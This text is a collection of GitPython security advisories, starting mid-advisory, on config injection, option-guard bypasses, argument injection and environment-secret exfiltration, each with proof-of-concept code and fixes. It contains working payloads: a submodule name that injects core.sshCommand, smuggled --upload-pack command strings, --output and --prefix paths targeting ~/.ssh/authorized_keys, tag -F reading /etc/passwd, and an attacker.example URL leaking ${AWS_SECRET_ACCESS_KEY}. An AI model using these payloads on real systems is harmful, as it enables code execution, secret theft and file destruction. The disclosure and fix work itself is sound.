    if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
        raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)

The name is then serialized into the header with no escaping of ], [, ", space, = or #:

git/config.py:693:

fp.write(("[%s]\n" % name).encode(defenc))

For submodules the name is wrapped as submodule "<name>" (git/objects/submodule/util.py:39, return f'submodule "{name}"'), which supplies the balancing quote. A submodule named:

x"] [core] sshCommand=CMD #

therefore serializes to the header [submodule "x"] [core] sshCommand=CMD #"]. git parses everything after the first ] on that line as a fresh section, yielding core.sshCommand=CMD (the trailing #"] is an inline comment). No CR/LF/NUL appears, so _assure_config_name_safe never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's .git/config:

• Repo.create_submodule(name=<untrusted>, ...) → Submodule.add → git/objects/submodule/base.py:619 writer.set_value(sm_section(name), "url", url) — a single call, no hostile remote required.
• Repo.clone_from(<hostile url>) + repo.submodule_update(init=True) → git/objects/submodule/base.py:855 writer.set_value(sm_section(self.name), "url", self.url), where self.name is read unvalidated from the cloned repo's .gitmodules.

Asymmetry: the sibling class is blocked — a newline in a config value, e.g. set_value("core", "editor", "x\n\tsshCommand=CMD"), raises ValueError. The section-name bracket payload is not caught by the same guard.

PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with git config --get; no ssh/fetch/push is run and nothing is executed.

#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}")        # version proof -- first line

MARKER = "MARKER_9f3a"                               # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
       "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
       "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
       "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
    return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

##### A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
    p = tempfile.mkdtemp(dir=tmp)
    run("git", "init", "-q", p)
    open(os.path.join(p, "r"), "w").write("x")
    run("git", "add", "r", cwd=p); run("git", "commit", "-qm", "i", cwd=p)
    return p

def injected_sshcommand(parent):
    r = run("git", "config", "-f", os.path.join(parent, ".git", "config"),
            "--get", "core.sshCommand")
    return (r.returncode, r.stdout.strip())

benign = "docs"
evil   = f'x"] [core] sshCommand={MARKER} #'          # closes the header, opens [core]

p_control = parent_repo()
git.Repo(p_control).create_submodule(name=benign, path="docs", url=suburl)
p_exploit = parent_repo()
git.Repo(p_exploit).create_submodule(name=evil, path="sub", url=suburl)

ctl = injected_sshcommand(p_control)
exp = injected_sshcommand(p_exploit)
header = [l for l in open(os.path.join(p_exploit, ".git", "config")).read().splitlines()
          if l.startswith("[submodule")][0]

print("control name :", repr(benign))
print("  git core.sshCommand ->", ctl, "(unset)")
print("exploit name :", repr(evil))
print("  written header      ->", header)
print("  git core.sshCommand ->", exp)

assert ctl[0] != 0 and ctl[1] == "", "control unexpectedly set core.sshCommand"
assert exp == (0, MARKER), "not reproduced"
print(f"VERDICT: attacker-controlled submodule name injected core.sshCommand={MARKER} "
      f"into the victim's trusted .git/config (git would run it on the next ssh op)")

Run:

uv run --with GitPython==3.1.52 python poc.py

Observed output:

##### GitPython 3.1.52
control name : 'docs'
  git core.sshCommand -> (1, '') (unset)
exploit name : 'x"] [core] sshCommand=MARKER_9f3a #'
  written header      -> [submodule "x"] [core] sshCommand=MARKER_9f3a #"]
  git core.sshCommand -> (0, 'MARKER_9f3a')
VERDICT: attacker-controlled submodule name injected core.sshCommand=MARKER_9f3a into the victim's trusted .git/config (git would run it on the next ssh op)

The benign name yields a single clean [submodule "docs"] section; the malicious name yields an injected core.sshCommand. Deterministic across runs. The payload must use balanced double-quotes (an unbalanced " makes git reject the header); the submodule "<name>" wrapper balances them automatically.

Impact

Arbitrary attacker-controlled write into the victim's repository-local .git/config, which git fully trusts. core.sshCommand is executed as the ssh transport command on the victim's next ssh git operation (fetch/pull/push), giving remote code execution; other injectable keys (alias.*, core.pager, core.fsmonitor) fire on more common operations. Reachable in default configuration through two realistic paths:

• an application that constructs a submodule from untrusted input via Repo.create_submodule(name=...) (single call); or
• Repo.clone_from of an untrusted repository followed by submodule_update — the canonical submodule threat model, where the malicious name is read from the cloned .gitmodules.

No non-default git settings are required. Primarily a Unix vector: on Windows the " in the resulting .git/modules/<name> directory name can abort the fresh-clone write branch (the direct config-API and create_submodule sinks are unaffected).

Recommended fix

Reject or escape configuration section/subsection/option names that contain ], [, ", or leading/trailing whitespace (or apply git's own section-name escaping) in _assure_config_name_safe / write_section, rather than only CR/LF/NUL. Validating submodule names before they reach sm_section would additionally close the clone-driven path.

Severity

• CVSS Score: 7.0 / 10 (High)
• Vector String: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3rp5-jjmw-4wv2
• https://github.com/gitpython-developers/GitPython/commit/1ed1b924f4e2d2ee7bab296df77b978af21853f1
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.53

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks

CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952

More information

Details

Summary

GitPython's unsafe_git_clone_options denylist omits --template. git clone --template=<dir> copies <dir>/hooks/ into the new repository and runs them (post-checkout fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default allow_unsafe_options=False configuration.

Root Cause

base.py:145-152 defines unsafe_git_clone_options = ["--upload-pack","-u","--config","-c"] — --template is absent. The guard candidate ['--template'] passes check_unsafe_options (verified). git copies the hook directory and executes post-checkout at checkout time. git's protocol.allow/GIT_ALLOW_PROTOCOL do not gate --template; the incomplete denylist is the only defense.

Impact

Arbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, /tmp, or attacker-writable network paths), reflected as AC:H.

Proof of Concept

##### attacker stages <dir>/hooks/post-checkout (chmod +x)
from git import Repo
Repo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)

Attack Chain

1. Setup: attacker stages <dir>/hooks/post-checkout (chmod +x). Guard: n/a (filesystem).
2. Entry: Repo.clone_from(url, path, template='<dir>'). Guard: check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options). Bypass proof: --template not on the denylist -> passes (verified candidate ['--template'], no error).
3. Sink: git copies the hook and executes post-checkout at checkout. Impact: ACE, default config (verified marker created).

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): guard candidate ['--template'] passed with no error; staged post-checkout hook executed during clone_from, creating the marker. Independent of the value-smuggle bypass (--template is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.

Affected Versions

<= 3.1.53

Suggested Fix

Add --template (and audit for other hook/exec-influencing options) to unsafe_git_clone_options.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)

CVE-2026-73624 / GHSA-fjr4-x663-mwxc

More information

Details

Summary

Diffable.diff() forwards **kwargs straight into diff/diff_tree with no check_unsafe_options guard. Diffable is mixed into Commit, Tree, IndexFile, and Submodule, giving a broad surface. git diff --output=<path> writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.

Root Cause

diff.py:188-283 builds and runs the diff command with no check_unsafe_options anywhere in the method (grep-confirmed). Additionally diff.py:265 does args.insert(0, other), placing the caller-supplied other ref BEFORE the -- separator, so a value of --output=/path is parsed by git as an option — a value-only control path requiring no kwarg key.

Impact

Overwrite/corrupt any file at process privilege with attacker-chosen path (e.g. ~/.ssh/authorized_keys, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.

Proof of Concept

##### Key-control:
commit.diff(other_commit, output='/home/app/.ssh/authorized_keys')   # victim overwritten with diff (105 bytes verified)

##### Value-control (attacker controls only the ref string):
commit.diff(other='--output=/home/app/.ssh/authorized_keys')          # 14-byte victim -> 146 bytes of diff-tree output

Attack Chain

1. Entry (value-control): commit.diff(other=<user ref>) with other = "--output=/home/app/.ssh/authorized_keys". Guard: none in Diffable.diff. Bypass proof: no check_unsafe_options in the method body (grep); other inserted pre--- at diff.py:265.
2. Sink: git diff-tree <sha> --output=/home/app/.ssh/authorized_keys -r ... -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): both key-control (output=) and value-control (other='--output=...') overwrote a victim file with real diff-tree content; argv confirmed ['git','diff-tree','<sha>','--output=/victim','-r',...]. This is the same value-control model GHSA-956x deemed fix-worthy for iter_commits(rev='--output=') — but diff is a distinct, unguarded sink NOT touched by that fix.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Diffable.diff (mirroring iter_commits/archive), and/or place --end-of-options before the other ref so it cannot be parsed as an option.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.1 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution

CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953

More information

Details

Summary

GitPython's check_unsafe_options guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by smuggling an option token inside the VALUE of a single-character kwarg. In the default allow_unsafe_options=False configuration this yields arbitrary command execution via --upload-pack.

Root Cause

The guard builds its candidate option list from kwarg KEYS only: _option_candidates([], {"n":"--upload-pack=<cmd>"}) returns ['-n'] (cmd.py:1042-1046 derives the candidate from the key, never the value). -n is not on the denylist, so check_unsafe_options passes. But transform_kwarg('n', value, split_single_char_options=True) (cmd.py:1600-1606) emits two argv tokens ['-n', '--upload-pack=<cmd>']. git then parses the second token as --upload-pack and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.

Impact

Arbitrary OS command execution as the host process (via --upload-pack) in the default configuration, affecting all guarded methods since they all build candidates through the name-only _option_candidates.

Proof of Concept

from git import Repo
Repo.clone_from(bare_repo, out_dir, n="--upload-pack=touch /tmp/ACE;git-upload-pack")

##### /tmp/ACE created -> ACE. Direct-name form upload_pack="..." is correctly BLOCKED.

File-write variant on a guarded revision command: iter_commits('HEAD', g='--output=/path') -> candidate ['-g'] passes, argv ['-g','--output=/path'], victim file truncated.

Attack Chain

1. Entry: app forwards a user-supplied options dict -> Repo.clone_from(url, path, n="--upload-pack=touch /tmp/ACE;git-upload-pack"). Guard: check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options) at base.py. Bypass proof: _option_candidates([], {"n":"--upload-pack=..."}) -> ['-n'] (key-only), not on denylist -> no UnsafeOptionError (verified live).
2. Transform: transform_kwarg('n', value, split_single_char_options=True) -> ['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.
3. Sink: git clone -n --upload-pack='touch ...;git-upload-pack' -- <src> <dst>; git parses and runs the second token. Impact: ACE (marker created, verified end-to-end).

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): _option_candidates returns key-only candidate ['-n']; transform_kwargs emits the smuggled --upload-pack= token; clone_from with the payload created the marker file; the direct-name upload_pack= form raised UnsafeOptionError. All prior bypasses (GHSA-rpm5 underscore key, GHSA-2f96 long-option abbreviation, GHSA-v396 joined short option, GHSA-x2qx multi-before-split) are BLOCKED on HEAD — this is a distinct kwarg-value->separate-token vector.

Affected Versions

<= 3.1.53

Suggested Fix

Make _option_candidates also emit candidates derived from single-character kwarg VALUES when split_single_char_options is in effect, OR run check_unsafe_options over the fully-transformed argv rather than the reconstructed name-only candidate list.

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3
• https://github.com/gitpython-developers/GitPython/pull/2180
• https://github.com/gitpython-developers/GitPython/commit/e8d0fbf774d1f6baa3b481adfe48bd262e43b453
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-73623 / GHSA-6p8h-3wgx-97gf / PYSEC-2026-3952

More information

Details

GitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.

Severity

• CVSS Score: 8.8 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References

• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-template
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

CVE-2026-73625 / GHSA-r9mr-m37c-5fr3 / PYSEC-2026-3953

More information

Details

GitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-kwarg-value-smuggling
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-r9mr-m37c-5fr3

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)

CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951

More information

Details

Summary

The fix for GHSA-rwj8-pgh3-r573 stopped Repo.clone_from() from running caller-supplied URLs through os.path.expandvars(), but it guarded only that one caller. Remote.create() — reached from the public Repo.create_remote() and its Remote.add() alias — still passes an attacker-influenceable URL through Git.polish_url() with the default expand_vars=True. A URL such as http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git is expanded server-side to embed the hosting process's environment secret, written into .git/config, and then transmitted to the attacker's host on the next fetch/pull. This is the same primitive and same "import repository from URL" threat model the advisory describes, via the sibling caller the fix missed.

Root Cause

Fix commit 8ac5a305 added an expand_vars parameter to Git.polish_url() (default True) and used expand_vars=False only in Repo._clone() (git/repo/base.py:1455). The shared helper's dangerous default was left in place, and the other callers were not updated.

git/remote.py:811, Remote.create:

url = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)
if not allow_unsafe_protocols:
    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes
repo.git.remote(scmd, "--", name, url, **kwargs)   # expanded URL written to .git/config

check_unsafe_protocols() runs after expansion here, so it rejects an ext:: payload but does nothing about an https:// URL that carries an expanded secret in its path or host — the disclosure primitive.

The same unguarded call also sits at git/objects/submodule/base.py:611 (Submodule.add), which writes the expanded URL into .gitmodules (a tracked file) and .git/config.

Steps to Reproduce

Prerequisites

• Python 3.9+
• git on PATH (for the fetch step)
• GitPython 3.1.53 (installed below)

Step 1: Install GitPython 3.1.53 in a clean venv

mkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc
python3 -m venv venv
./venv/bin/pip install gitpython==3.1.53

Step 2: Write the PoC

cat > poc.py <<'PYEOF'

#!/usr/bin/env python3
"""Env-var exfiltration via Repo.create_remote() URL. Sentinel data only."""
import http.server
import os
import tempfile
import threading

import git

print("gitpython version:", git.__version__)

##### Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.
SENTINEL = "leaked-a1b2c3-SENTINEL-do-not-use"
os.environ["GP_SENTINEL_SECRET"] = SENTINEL

##### Local HTTP server standing in for attacker.example.
captured = []

class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        captured.append(self.path)
        self.send_response(404)
        self.end_headers()

    def log_message(self, *a):
        pass

srv = http.server.HTTPServer(("127.0.0.1", 0), Handler)
port = srv.server_address[1]
threading.Thread(target=srv.serve_forever, daemon=True).start()

##### Attacker-controlled URL handed to an "import from URL" feature.
attacker_url = "http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git" % port

def norm(s):  # display the ephemeral listener port as a stable placeholder
    return s.replace("127.0.0.1:%d" % port, "127.0.0.1:PORT")

print("attacker-supplied URL :", norm(attacker_url))

repo = git.Repo.init(tempfile.mkdtemp(prefix="gp-victim-"))
remote = repo.create_remote("evil", attacker_url)   # public API

stored = repo.remote("evil").url
print("stored remote URL     :", norm(stored))
print("SENTINEL in git config:", SENTINEL in stored)

try:
    remote.fetch()          # transmits the expanded URL to the attacker host
except Exception:
    pass                    # fetch fails after the request is already sent

srv.shutdown()
over_network = any(SENTINEL in p for p in captured)
print("HTTP paths received   :", [norm(p) for p in captured])
print("SENTINEL over network :", over_network)

print()
if SENTINEL in stored and over_network:
    print("VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host")
elif SENTINEL in stored:
    print("VULNERABLE: env-var expanded into stored git-config URL")
else:
    print("not reproduced")
PYEOF

Step 3: Run it

cd /tmp/gp-remote-poc && ./venv/bin/python poc.py

Expected output (the listener's ephemeral port is shown as PORT):

gitpython version: 3.1.53
attacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git
stored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git
SENTINEL in git config: True
HTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']
SENTINEL over network : True

VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host

The ${GP_SENTINEL_SECRET} token in the supplied URL is replaced with the environment value both in the stored .git/config URL and in the request that reaches the attacker-controlled host.

Suggested Fix

Pass expand_vars=False at the remaining URL callers, matching the clone fix:

• git/remote.py Remote.create: url = Git.polish_url(url, expand_vars=False)
• git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup

rm -rf /tmp/gp-remote-poc

Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67
• https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-73622 / GHSA-94p4-4cq8-9g67 / PYSEC-2026-3951

More information

Details

GitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.

Severity

• CVSS Score: 8.7 / 10 (High)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add
• https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count

CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950

More information

Details

Summary

Commit.count() forwards **kwargs into rev_list with no check_unsafe_options guard (the guard exists only in the sibling iter_items, commit.py:341). git rev-list --output=<path> opens and truncates the target file to 0 bytes before revision parsing, so count(output='/victim') destroys/blanks an arbitrary file.

Root Cause

commit.py:290-291 calls self.repo.git.rev_list(self.hexsha, **kwargs) with no check_unsafe_options and no allow_unsafe_options parameter. The sibling iter_items (commit.py:341) is guarded; count is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed iter_commits/blame, not count.

Impact

Destroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (count uses self.hexsha, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.

Proof of Concept

commit.count(output='/path/to/victim')   # victim truncated to 0 bytes (verified)

##### control: commit.iter_commits(output=...) raises UnsafeOptionError

Attack Chain

1. Entry: app forwards user options -> commit.count(output='/victim'). Guard: none. Bypass proof: iter_commits(output=) raises UnsafeOptionError; count(output=) does not — verified side-by-side.
2. Sink: git rev-list <sha> --output=/victim -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.

Bypass Evidence

Live-verified on HEAD (tag 3.1.53): count(output=<victim>) truncated a pre-existing file to 0 bytes; guarded iter_commits(output=) raised UnsafeOptionError. Same CNA-accepted "app forwards user options dict" model as GHSA-956x-8gvw-wg5v's archive(**kwargs). Uncovered sink, not a duplicate.

Affected Versions

<= 3.1.53

Suggested Fix

Add check_unsafe_options to Commit.count (mirroring iter_items).

---

Reported by zx (Jace) — GitHub: @​manus-use

Severity

• CVSS Score: 5.4 / 10 (Medium)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

References

• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24
• https://github.com/gitpython-developers/GitPython/pull/2184
• https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2
• https://github.com/gitpython-developers/GitPython
• https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

---

CVE-2026-73621 / GHSA-p538-c434-8v24 / PYSEC-2026-3950

More information

Details

GitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to 'git rev-list' without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=, causing 'git rev-list --output=' to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process's privilege level (no content control, 0-byte truncation).

Severity

• CVSS Score: 5.3 / 10 (Medium)
• Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

References

• https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-truncation-via-commit-count
• https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24

This data is provided by OSV and the PyPI Advisory Database (CC-BY 4.0).

---

GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read

CVE-2026-73620 / GHSA-3f7w-8rr8-f37f / PYSEC-2026-3949

More information

Details

Target: gitpython-developers/GitPython
Tested: HEAD 07e80555 (2026-07-25), latest release 3.1.55, git version 2.50.1
Reported instances: 2 exploitable, from a sweep of 14 unguarded call sites

Summary

GitPython blocks dangerous git options through Git.check_unsafe_options(), gated per method by an allow_unsafe_options parameter. That guard is applied per call site, so any API that forwards **kwargs into a git command without calling it passes caller-controlled options straight to git.

A mechanical sweep of every method that forwards **kwargs into a .git.<command>(...) call found 14 sites with no guard. Two reach a git option that takes a filesystem path:

#	Call site	git option	Impact
1	IndexFile.checkout() → git checkout-index	--prefix=<path>	arbitrary file overwrite with repository-controlled content
2	TagReference.create() → git tag	-F <file> / --file=<file>	arbitrary file read, returned in-band

This is the same defect class already fixed in Commit.count() (GHSA-p538-c434-8v24), Repo.archive() and Git.ls_remote() (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.

---

Instance 1 — IndexFile.checkout(): arbitrary file overwrite

git/index/base.py:1210 accepts **kwargs and forwards them with no guard:

def checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):
    ...
    proc = self.repo.git.checkout_index(*args, **kwargs)   # line 1331
    ...
    proc = self.repo.git.checkout_index(args, **kwargs)    # line 1349

There is no allow_unsafe_options parameter and no check_unsafe_options() call in the method.

git checkout-index accepts --prefix=<string>, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and -f overwrites what is already there.

Reproduction

from git import Repo
Repo("/path/to/repo").index.checkout(prefix="/tmp/target_dir/", a=True, f=True)

Observed (poc/poc_checkout_index.py) — no exception raised, files land outside the repository:

[ALLOWED] no UnsafeOptionError raised
files written outside the repo: ['f.txt']
  f.txt: 'hi\n'

Overwrite of a pre-existing file (poc/poc_ci_overwrite.py) — the victim file held ORIGINAL-DO-NOT-CLOBBER\n before the call:

[ALLOWED] no exception
victim content now: 'hi\n'
OVERWRITTEN: True

Why this rates High

Both halves of the write are attacker-influenced:

• Destination — the prefix kwarg.
• Content — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.

Commit a file named authorized_keys, .bashrc, config or post-checkout, choose the matching prefix (~/.ssh/, ~/, .git/hooks/), and the write becomes code execution as the service account.

For comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via git diff --output) is rated High, and GHSA-p538-c434-8v24 (arbitrary file truncation via git rev-list --output) is rated Medium. --prefix supplies full content control, so it sits at or above the former.

---

Instance 2 — TagReference.create(): arbitrary file read

git/refs/tag.py:88 forwards **kwargs into git tag with no guard, and the signature advertises the passthrough:

def create(cls, repo, path, reference="HEAD", logmsg=None, force=False, **kwargs):
    """...
    :param kwargs:
        Additional keyword arguments to be passed to :manpage:`git-tag(1)`.
    """

git tag accepts -F <file> / --file=<file>, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via TagReference.tag.message, so the file contents come back in-band.

Reproduction

from git import Repo
from git.refs.tag import TagReference

t = TagReference.create(Repo("/path/to/repo"), "x", force=True, a=True, F="/etc/passwd")
print(t.tag.message)

Observed (poc/poc_tag_F.py), reading a canary file outside the repository:

[ALLOWED] no UnsafeOptionError raised
>>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\nsecond-line-secret'

